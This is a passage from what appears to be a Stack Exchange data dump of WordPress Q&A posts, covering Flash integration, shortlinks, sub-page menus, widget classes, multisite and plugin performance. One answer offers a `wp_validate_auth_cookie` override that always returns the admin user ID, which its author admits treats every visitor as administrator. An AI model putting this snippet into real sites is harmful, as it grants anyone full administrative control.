/&amp;gt;\n&quot;;&#xA;    return $s1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastActivityDate="2010-08-18T20:34:31.963" />
  <row Id="520" PostTypeId="2" ParentId="515" CreationDate="2010-08-18T20:34:52.693" Score="2" ViewCount="" Body="&lt;p&gt;Does this work, if you place it in wp-config.php?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_validate_auth_cookie($cookie='',$scheme='') {&#xA;    return 1; // admin user id&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not thoroughly tested. It doesn't so much &quot;never log me out&quot; but rather &quot;treat everyone as admin.&quot;&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-18T20:34:52.693" CommentCount="2" />
  <row Id="522" PostTypeId="1" CreationDate="2010-08-18T20:43:16.717" Score="3" ViewCount="138" Body="&lt;p&gt;I sometimes build applications in Flash for the web that need a fair bit of dynamic data. Would Wordpress be a good fit for my CMS solution? can it &quot;talk&quot; to flash? Does it allow output as different formats such as XML, JSON, or AMF?&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-06T03:33:13.353" LastActivityDate="2010-10-06T03:33:13.353" Title="Can I / Should I use WordPress as a CMS for my Flash application" Tags="&lt;cms&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="523" PostTypeId="2" ParentId="469" CreationDate="2010-08-18T20:47:37.127" Score="2" ViewCount="" Body="&lt;p&gt;More information needed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Why so many plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) What OS is your hosting provider running?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) What webserver?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Do you have access to the httpd server logs, particularly the error logs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) What do the error logs say in the timeframe[s] surrounding these issues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Now, truth be told, if we're generalizing for &quot;average J6P running WordPress might have this exact question, we could start by directing said J6P to answer at least the above 5 questions...)&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-08-18T20:47:37.127" CommentCount="2" />
  <row Id="524" PostTypeId="2" ParentId="522" CreationDate="2010-08-18T20:49:21.273" Score="0" ViewCount="" Body="&lt;p&gt;Yes, but it's going to involve a lot of work to get it to send the right information in the right format. You might look into this plugin that puts the information out in JSON:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/json-api/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/json-api/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-18T20:49:21.273" />
  <row Id="525" PostTypeId="2" ParentId="199" CreationDate="2010-08-18T20:51:35.243" Score="6" ViewCount="" Body="&lt;p&gt;A few answers off the top of my head:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Minimize the number of HTTP requests the browser has to make to your host by concatenating JavaScript and CSS where possible/practical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Offload as much of your image/media serving to 3rd party CDNs as possible, particularly if you're using shared hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Try reducing the number of posts you're displaying on the front page in order to cut down on total render time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3a) Try using a theme that presents a few featured posts in full on the front page and all other, older posts as excerpts.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-08-18T20:51:35.243" CommentCount="1" />
  <row Id="526" PostTypeId="2" ParentId="62" CreationDate="2010-08-18T20:55:38.933" Score="0" ViewCount="" Body="&lt;p&gt;Always check the BuddyPress plugins listing for these sorts of questions &lt;em&gt;first&lt;/em&gt;, i.e. &lt;a href=&quot;http://buddypress.org/extend/plugins/&quot; rel=&quot;nofollow&quot;&gt;http://buddypress.org/extend/plugins/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-08-18T20:55:38.933" />
  <row Id="527" PostTypeId="2" ParentId="522" CreationDate="2010-08-18T20:56:02.770" Score="2" ViewCount="" Body="&lt;p&gt;Absolutely. WordPress is implemented in PHP and anything Flash needed to interface with can be coded as a plugin, probably very easily. You can also implement any embedding of Flash as &lt;a href=&quot;http://www.smashingmagazine.com/2009/02/02/mastering-wordpress-shortcodes/&quot; rel=&quot;nofollow&quot;&gt;ShortCodes&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some (honestly not very good) links on the subject of PHP &amp;amp; Flash:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.kirupa.com/developer/actionscript/displayinphp.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.kirupa.com/developer/actionscript/displayinphp.htm&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.techmynd.com/get-data-in-flash-from-php/&quot; rel=&quot;nofollow&quot;&gt;http://www.techmynd.com/get-data-in-flash-from-php/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.dreamincode.net/forums/topic/9848-pass-complex-data-from-php-to-flash/&quot; rel=&quot;nofollow&quot;&gt;http://www.dreamincode.net/forums/topic/9848-pass-complex-data-from-php-to-flash/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.video-animation.com/dbase001.shtml&quot; rel=&quot;nofollow&quot;&gt;http://www.video-animation.com/dbase001.shtml&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.smartwebby.com/Flash/external_data.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.smartwebby.com/Flash/external_data.asp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.devx.com/webdev/Article/36748&quot; rel=&quot;nofollow&quot;&gt;http://www.devx.com/webdev/Article/36748&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Of course then there is what Adobe has:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.google.com/search?q=php+flash+data+site:adobe.com&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/search?q=php+flash+data+site:adobe.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can you update your question to provide more details on exactly what you need for/from Flash? Maybe included some links that explain the things you want WordPress handling for Flash (Flash is quite a large beast, you know.)&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-18T20:56:02.770" CommentCount="1" />
  <row Id="528" PostTypeId="2" ParentId="62" CreationDate="2010-08-18T21:00:32.073" Score="0" ViewCount="" Body="&lt;p&gt;And, since I can't (yet) post multiple links, here's two more answers in short succession.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For attachments, there's:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://buddypress.org/community/groups/forum-attachments-for-buddypress/&quot; rel=&quot;nofollow&quot;&gt;http://buddypress.org/community/groups/forum-attachments-for-buddypress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-08-18T21:00:32.073" />
  <row Id="529" PostTypeId="2" ParentId="522" CreationDate="2010-08-18T21:03:54.483" Score="1" ViewCount="" Body="&lt;p&gt;In re: XML, remember too that WordPress has (even without a plugin) a very nice XML-RPC interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, e.g. &lt;a href=&quot;http://codex.wordpress.org/XML-RPC_Support&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/XML-RPC_Support&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-08-18T21:03:54.483" />
  <row Id="530" PostTypeId="1" AcceptedAnswerId="532" CreationDate="2010-08-18T21:10:28.320" Score="2" ViewCount="100" Body="&lt;p&gt;Blogs hosted on wordpress.com get automatic link shortening via &lt;a href=&quot;http://wp.me/&quot; rel=&quot;nofollow&quot;&gt;http://wp.me/&lt;/a&gt;, but for those who prefer to seek out our own hosting solution is there a plugin that will, upon publishing a new post/page, make an api call to bit.ly (or other such service) store the resulting url and return it from &lt;code&gt;wp_get_shortlink()&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched without success. Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="219" LastEditorUserId="219" LastEditorDisplayName="" LastEditDate="2010-08-18T21:17:21.330" LastActivityDate="2010-08-19T01:28:53.160" Title="Automagic Link Shortening for Non-Hosted WP" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;plugin-recommendation&gt;" AnswerCount="3" />
  <row Id="531" PostTypeId="1" AcceptedAnswerId="537" CreationDate="2010-08-18T21:13:36.603" Score="4" ViewCount="1446" Body="&lt;p&gt;Previously, I was able to selectively load child pages for a currently-selected parent page using logic such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(  $post-&amp;gt;post_parent ) {&#xA;  $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;post_parent.&quot;&amp;amp;echo=0&quot;);&#xA;} else {&#xA;  $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;ID.&quot;&amp;amp;echo=0&quot;);&#xA;}&#xA;&#xA;if ($children) { ?&amp;gt;&#xA;   &amp;lt;ul id=&quot;subnav&quot;&amp;gt;&#xA;     &amp;lt;?php echo $children; ?&amp;gt;&#xA;   &amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php &#xA;} else {&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be a native way to do this using the new register_nav_menus()/wp_nav_menu() functionality. Anyone know how I could patch this together at this point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot of what I'm trying to achieve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/WJaXb.png&quot; alt=&quot;Drop down Child menu screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-19T17:27:18.977" LastActivityDate="2010-10-12T21:11:32.913" Title="Generate a Menu that Displays Child Pages using wp_list_pages() with the New Menu Functionality in WordPress 3.0?" Tags="&lt;custom-menus&gt;" AnswerCount="2" CommentCount="12" FavoriteCount="3" />
  <row Id="532" PostTypeId="2" ParentId="530" CreationDate="2010-08-18T21:21:13.830" Score="1" ViewCount="" Body="&lt;p&gt;There's this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-bitly/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-bitly/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-18T21:21:13.830" CommentCount="1" />
  <row Id="533" PostTypeId="2" ParentId="483" CreationDate="2010-08-18T21:38:06.550" Score="0" ViewCount="" Body="&lt;p&gt;Your sub-pages should NOT be children of the 'homepage'. I know people draw sitemaps like that but it's really not how it works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example.com (using static front page 'home')&#xA;Example.com/about (a top level page, NOT a child of 'home')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no SEO or User experience problems from this approach, it is how most CMS sites are done. &lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2010-08-18T21:38:06.550" CommentCount="1" />
  <row Id="534" PostTypeId="2" ParentId="186" CreationDate="2010-08-18T21:46:31.243" Score="0" ViewCount="" Body="&lt;p&gt;Keep your copy of your modified code-base in a source control system. I recommend &lt;a href=&quot;http://hginit.com/top/&quot; rel=&quot;nofollow&quot;&gt;mercurial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drop the original version of the wordpress code that you went on to modify into mercurial and commit it. Then drop your modified codebase over the top of it and commit it while giving it a branch name. Call the branch 'oursite', whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point is, mercurial now &lt;em&gt;knows&lt;/em&gt; how your site differs from the standard distribution. This makes upgrades easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the next version of wordpress comes out, download it and drop it over the top of your local mercurial working directory. Just make sure you 'update' that working copy to the default branch, ie &lt;em&gt;not&lt;/em&gt; your 'oursite' branch. Mercurial now knows how the new wordpress version differs from the previous one. Mercurial is very good at merging the differences from two 'child' versions of a common 'parent' and more often than not, your custom tweaks will be incorporated fine.&lt;/p&gt;&#xA;" OwnerUserId="224" LastActivityDate="2010-08-18T21:46:31.243" />
  <row Id="535" PostTypeId="1" AcceptedAnswerId="540" CreationDate="2010-08-18T21:53:47.433" Score="4" ViewCount="435" Body="&lt;p&gt;I have a standard dynamic sidebar using &lt;code&gt;register_sidebar&lt;/code&gt; and &lt;code&gt;dynamic_sidebar&lt;/code&gt; and I need the last widget in the sidebar (which will not have a set number of widgets) to have a distinct class (&lt;code&gt;'last_widget'&lt;/code&gt;) added to the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; that wraps it. What's the best way to do this?&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-19T15:45:50.370" Title="How Do I Add Custom CSS To Only Certain Widgets" Tags="&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="3" />
  <row Id="536" PostTypeId="1" AcceptedAnswerId="538" CreationDate="2010-08-18T21:59:53.937" Score="4" ViewCount="608" Body="&lt;p&gt;I have a 3.0.1 site with &lt;code&gt;MULTISITE&lt;/code&gt; enabled and would like one of the sites to live at &lt;code&gt;/blog&lt;/code&gt;, but when I try to create a new site with that path, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The following words are reserved for use by WordPress functions and cannot be used as blog names: page, comments, blog, files, feed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get a site at &lt;code&gt;/blog&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2010-08-23T19:12:09.377" Title="How do I get /blog on my Wordpres multisite" Tags="&lt;multisite&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="537" PostTypeId="2" ParentId="531" CreationDate="2010-08-18T22:00:28.897" Score="4" ViewCount="" Body="&lt;p&gt;I created a Widget named Page Sub Navigation (clever I know) that is working for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you install this, you can just drag the widget to one of your widget areas and &lt;strong&gt;&lt;em&gt;BAM&lt;/em&gt;&lt;/strong&gt; it works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Page Sub Navigation&#xA;Plugin URI: http://codegavin.com/wordpress/sub-nav&#xA;Description: Displays a list of child pages for the current page&#xA;Author: Jesse Gavin&#xA;Version: 1&#xA;Author URI: http://codegavin.com&#xA;*/&#xA;&#xA;function createPageSubMenu()&#xA;{&#xA;  if (is_page()) {&#xA;    global $wp_query;&#xA;&#xA;    if( empty($wp_query-&amp;gt;post-&amp;gt;post_parent) ) {&#xA;      $parent = $wp_query-&amp;gt;post-&amp;gt;ID;&#xA;    } else {&#xA;      $parent = $wp_query-&amp;gt;post-&amp;gt;post_parent;&#xA;    }&#xA;&#xA;    $title = get_the_title($parent);&#xA;&#xA;    if(wp_list_pages(&quot;title_li=&amp;amp;child_of=$parent&amp;amp;echo=0&quot; )) {&#xA;      echo &quot;&amp;lt;div id='submenu'&amp;gt;&quot;;&#xA;      echo &quot;&amp;lt;h3&amp;gt;&amp;lt;span&amp;gt;$title&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&quot;;&#xA;      echo &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;      wp_list_pages(&quot;title_li=&amp;amp;child_of=$parent&amp;amp;echo=1&quot; );&#xA;      echo &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;      echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;    }&#xA;  }&#xA;}&#xA;&#xA;&#xA;function widget_pageSubNav($args) {&#xA;  extract($args);&#xA;  echo $before_widget;&#xA;  createPageSubMenu();&#xA;  echo $after_widget;&#xA;}&#xA;&#xA;function pageSubMenu_init()&#xA;{&#xA;  wp_register_sidebar_widget(&quot;cg-sidebar-widget&quot;, __('Page Sub Navigation'), 'widget_pageSubNav');&#xA;}&#xA;add_action(&quot;plugins_loaded&quot;, &quot;pageSubMenu_init&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you just want the juicy parts...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_page()) {&#xA;  global $wp_query;&#xA;&#xA;  if( empty($wp_query-&amp;gt;post-&amp;gt;post_parent) ) {&#xA;    $parent = $wp_query-&amp;gt;post-&amp;gt;ID;&#xA;  } else {&#xA;    $parent = $wp_query-&amp;gt;post-&amp;gt;post_parent;&#xA;  }&#xA;&#xA;  if(wp_list_pages(&quot;title_li=&amp;amp;child_of=$parent&amp;amp;echo=0&quot; )) {&#xA;    wp_list_pages(&quot;title_li=&amp;amp;child_of=$parent&amp;amp;echo=1&quot; );&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I found another plugin that does essentially the same thing (and maybe does it better, I don't know).  &lt;a href=&quot;http://wordpress.org/extend/plugins/subpages-widget/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/subpages-widget/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="193" LastEditorUserId="193" LastEditorDisplayName="" LastEditDate="2010-10-12T21:11:32.913" LastActivityDate="2010-10-12T21:11:32.913" CommentCount="1" />
  <row Id="538" PostTypeId="2" ParentId="536" CreationDate="2010-08-18T22:08:19.483" Score="2" ViewCount="" Body="&lt;p&gt;You can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's part of the main site's permalink structure. There's no way to get around it. You can find more information here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/13527&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/13527&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-18T22:08:19.483" CommentCount="3" />
  <row Id="539" PostTypeId="2" ParentId="530" CreationDate="2010-08-18T22:29:57.590" Score="3" ViewCount="" Body="&lt;p&gt;if you install the wordpress.com stats plugin on your self hosted wordpress blog, you will have the option to have wp.me shortlinks&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2010-08-18T22:29:57.590" CommentCount="1" />
  <row Id="540" PostTypeId="2" ParentId="535" CreationDate="2010-08-18T22:36:52.993" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;John&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is what you are looking for (I'd explain the code be I think it's self-explanatory; let me know if not):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter('dynamic_sidebar_params','my_dynamic_sidebar_params');&#xA;function my_dynamic_sidebar_params($params) {&#xA;    $sidebar_id = $params[0]['id'];&#xA;    $sidebar_widgets = wp_get_sidebars_widgets();&#xA;    $last_widget_id = end($sidebar_widgets[$sidebar_id]);&#xA;    if ($last_widget_id==$params[0]['widget_id'])&#xA;        $params[0]['before_widget'] = str_replace(' class=&quot;',' class=&quot;last_widget ',$params[0]['before_widget']);&#xA;    return $params;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-19T15:45:50.370" LastActivityDate="2010-08-19T15:45:50.370" CommentCount="1" />
  <row Id="541" PostTypeId="2" ParentId="535" CreationDate="2010-08-18T22:48:22.277" Score="0" ViewCount="" Body="&lt;p&gt;You could also use CSS to select the last widget using :last-child (although IE would not like this), or use jQuery to select it. But the PHP code above is probably the better way to do it. &lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2010-08-18T22:48:22.277" />
  <row Id="543" PostTypeId="2" ParentId="515" CreationDate="2010-08-18T23:01:38.170" Score="7" ViewCount="" Body="&lt;p&gt;By default, the &quot;Remember Me&quot; checkbox makes you get remembered for 14 days. This is filterable though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code will change that value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'auth_cookie_expiration', 'keep_me_logged_in_for_1_year' );&#xA;&#xA;function keep_me_logged_in_for_1_year( $expirein ) {&#xA;    return 31556926; // 1 year in seconds&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="107" LastActivityDate="2010-08-18T23:01:38.170" CommentCount="5" />
  <row Id="544" PostTypeId="2" ParentId="530" CreationDate="2010-08-19T00:05:36.577" Score="1" ViewCount="" Body="&lt;p&gt;You could also add something like this to your functions.php to add a short link (powered by tinyurl) to each post or page you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function shortLink($content) {&#xA;$url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];&#xA;$short_url = file_get_contents('http://tinyurl.com/api-create.php?url='.urlencode($url));&#xA;&#xA;$content .=  '&amp;lt;div class=&quot;short-link&quot;&amp;gt;Here's a short link &amp;lt;a href=&quot;.$short_url.'&quot;&amp;gt;Short Link&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&#xA;return $content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add_filter('the_content', 'shortLink');&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditorDisplayName="" LastEditDate="2010-08-19T01:28:53.160" LastActivityDate="2010-08-19T01:28:53.160" />
  <row Id="545" PostTypeId="2" ParentId="62" CreationDate="2010-08-19T00:36:30.990" Score="0" ViewCount="" Body="&lt;p&gt;There's a Group Documents plugin for BuddyPress that lets you upload files to a group, also. Both that and the Forum Attachments plugin work with WP 3.0&lt;/p&gt;&#xA;" LastActivityDate="2010-08-19T00:36:30.990" />
  <row Id="546" PostTypeId="2" ParentId="477" CreationDate="2010-08-19T03:16:18.470" Score="2" ViewCount="" Body="&lt;p&gt;I have used this before in functions.php to display the file size in an easily readable format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getSize($file){&#xA;$bytes = filesize($file);&#xA;$s = array('b', 'Kb', 'Mb', 'Gb');&#xA;$e = floor(log($bytes)/log(1024));&#xA;return sprintf('%.2f '.$s[$e], ($bytes/pow(1024, floor($e))));}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo getSize('insert reference to file here');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="131" LastActivityDate="2010-08-19T03:16:18.470" />
  <row Id="547" PostTypeId="1" AcceptedAnswerId="552" CreationDate="2010-08-19T05:35:50.560" Score="4" ViewCount="208" Body="&lt;p&gt;I've often heard that having a lot of plugins will slow down a Wordpress site. This makes sense of course, as the more code that executes, the longer it will take. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering whether the slowness is mostly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;a result of the sheer number of plugins? (because WP has to do some processing to locate and load each plugin)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;a result of having a few slow/heavy plugins?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;More practically, when I am writing my own, should I combine functionality into fewer files to gain speed? Or is it okay to have 10-20 plugins each doing a quick task?&lt;/p&gt;&#xA;" OwnerUserId="248" LastActivityDate="2010-08-25T21:52:38.827" Title="Is it heavyweight plugins or lots of plugins that make a site slow?" Tags="&lt;plugins&gt;" AnswerCount="6" CommentCount="2" FavoriteCount="4" />
  <row Id="548" PostTypeId="2" ParentId="547" CreationDate="2010-08-19T06:15:28.737" Score="2" ViewCount="" Body="&lt;p&gt;Naturally Plugins are only one part of the performance story, so you can't measure it by the number of files in the end. There is more and you can't say in advance what works, so something that might be well on your computer is not on others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of looking for performance you should define other and own criteria to make decisions on. For example, for plugins you can prefer to put separate functionality into separate plugins, so to not mix things. This might not ever be performance wise in terms of speed or memory usage, but the trade is to keep things lightly coupled so it's easier to develop and use the plugins. Not to forget, when a new version of wordpress comes out, only two plugins might break out of ten and not the one big one all the time. And in the end, a user only needs three of ten plugins so he needs less memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a user is complaining about the performance of her/his Blog, you can normally suggest that they just can buy a bigger server and performance problems are solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Pre-Mature) Optimization is the root of all evil. Just do not longer think about performance when writing plugins. Take it the light and bright way: Wordpress is not designed performance wise in the end, don't make the mistake and try to write performant plugins for it ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress is designed with the &lt;a href=&quot;http://www.laputan.org/mud/mud.html#BigBallOfMud&quot; rel=&quot;nofollow&quot;&gt;Big Ball of Mud-(anti-)design-pattern&lt;/a&gt;. The plugin system is one that is working very well with it. Just do not think you can optimize that much as a plugin author. You can't. Don't fight it :)&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-19T07:55:23.523" LastActivityDate="2010-08-19T07:55:23.523" CommentCount="5" />
  <row Id="549" PostTypeId="2" ParentId="535" CreationDate="2010-08-19T06:23:52.370" Score="0" ViewCount="" Body="&lt;p&gt;I wrote a patch that does this for core code, the related ticket is &lt;a href=&quot;http://core.trac.wordpress.org/ticket/12615&quot; rel=&quot;nofollow&quot;&gt;#12615 - Add &quot;first&quot; and &quot;last&quot; CSS-class-names to each Widget in sidebars (Frontend)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://core.trac.wordpress.org/attachment/ticket/12615/12615.patch&quot; rel=&quot;nofollow&quot;&gt;patch&lt;/a&gt; is a working solution, there are some widget internals that make using end() on the sidebar array as mike suggests it with his code not properly working (Yeah, that would have been too simple, right :P ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if the patch does not apply clean any longer. I have this running very well on 2.9.2 sites.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-19T06:23:52.370" />
  <row Id="550" PostTypeId="2" ParentId="199" CreationDate="2010-08-19T06:42:01.057" Score="2" ViewCount="" Body="&lt;p&gt;I recently spoke about this subject at &lt;a href=&quot;http://c3mdigital.com/2010/08/optimizing-wordpress-performance-wordcamp-houston/&quot; rel=&quot;nofollow&quot;&gt;WordCamp Houston&lt;/a&gt;. All of the above recommendations are great and the important thing is to make sure all the front end stuff is fully optimized then you can start working on the caching and server performance issues.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Progressive rendering will make your pages feel faster because the user will see the page content before it is fully loaded.  To do this make sure any blocking js is at the very bottom of the page and css is at the top.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you use a lot of social media buttons you can customize the scripts to make them load in an iframe after the page is fully loaded.  I wrote a tutorial on how to do it with the TweetMeMe re tweet button (now obsolete since Twitter released their own retweet button) but can still be applied to other share buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For server performance look into Nginx as a front end proxy for static content with Apache handling the heavy PHP and MySQL lifting.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-19T06:42:01.057" />
  <row Id="551" PostTypeId="2" ParentId="547" CreationDate="2010-08-19T06:45:17.320" Score="0" ViewCount="" Body="&lt;p&gt;You can use WordPress with hundred of plugins, when the design of the plugins is fine - the most plugins has a bad code and this is the problem of the performance of WordPress. &lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-19T06:45:17.320" />
  <row Id="552" PostTypeId="2" ParentId="547" CreationDate="2010-08-19T06:48:08.563" Score="5" ViewCount="" Body="&lt;h2&gt;Generalities&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The rule of thumb &quot;&lt;em&gt;lots of plugins slow down a site&lt;/em&gt;&quot; is a very blunt instrument and is perpetuated by those who don't understand how plugins work so they pick something easy to demonize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes plugins can slow down your site but it doesn't have to do with the quantity it has to do with the quality and what they are trying to accomplish.  I could write a single plugin that would bring a site to it's knees (if there were a reason for me to do so) and it would be worse than 50 other well-written plugins. Of course people write plugins all the time that will bring a site to its knees because they don't know any better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the only truth to &quot;&lt;em&gt;lots of plugins 